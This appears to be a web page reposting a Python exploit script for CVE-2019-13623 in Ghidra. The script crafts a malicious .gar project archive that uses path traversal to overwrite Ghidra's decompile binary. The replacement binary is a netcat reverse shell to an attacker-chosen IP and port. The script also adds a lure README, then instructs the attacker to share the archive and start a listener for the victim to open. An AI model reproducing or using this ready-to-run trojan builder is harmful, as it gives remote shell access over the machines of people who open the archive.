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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
import os
import inspect
import argparse
import shutil
from shutil import copyfile

print("")
print("")
print("################################################")
print("")
print("------------------CVE-2019-13623----------------")
print("")
print("################################################")
print("")
print("-----------------Ghidra-Exploit-----------------")
print("--Tested version: Ghidra Linux version <= 9.0.4-")
print("------------------------------------------------")
print("")
print("################################################")
print("")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("")
print("------------------Discovered by:----------------")
print("---------https://blog.fxiao.me/ghidra/----------")
print("")
print("--------Exploit tested on Ubuntu 18.04----------")
print("-----------------Dependency: zip----------------")
print("")
print("################################################")
print("")
print("")

parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input export .gar file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)

args = parser.parse_args()
            
if args.ip and args.port and args.file:

    rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
    path = "../Ghidra/Features/Decompiler/os/linux64/decompile"
    os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/")
    os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0<x | /bin/bash 1>x' > decompile")
    os.system("chmod +x decompile")
    copyfile("decompile",path)
    copyfile(args.file,rootDirURL+"/"+"project.gar")
    os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile")
    os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE")
    os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE")    
    os.system("zip -q project.zip project.gar") 
    os.system("rm decompile README_BEFORE_OPEN_GAR_FILE")
    os.system("rm project.gar")
    print("You can now share project.zip and start your local netcat listener.")
    print("")
    print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR")
    print("root path for payload execution.")
    print("")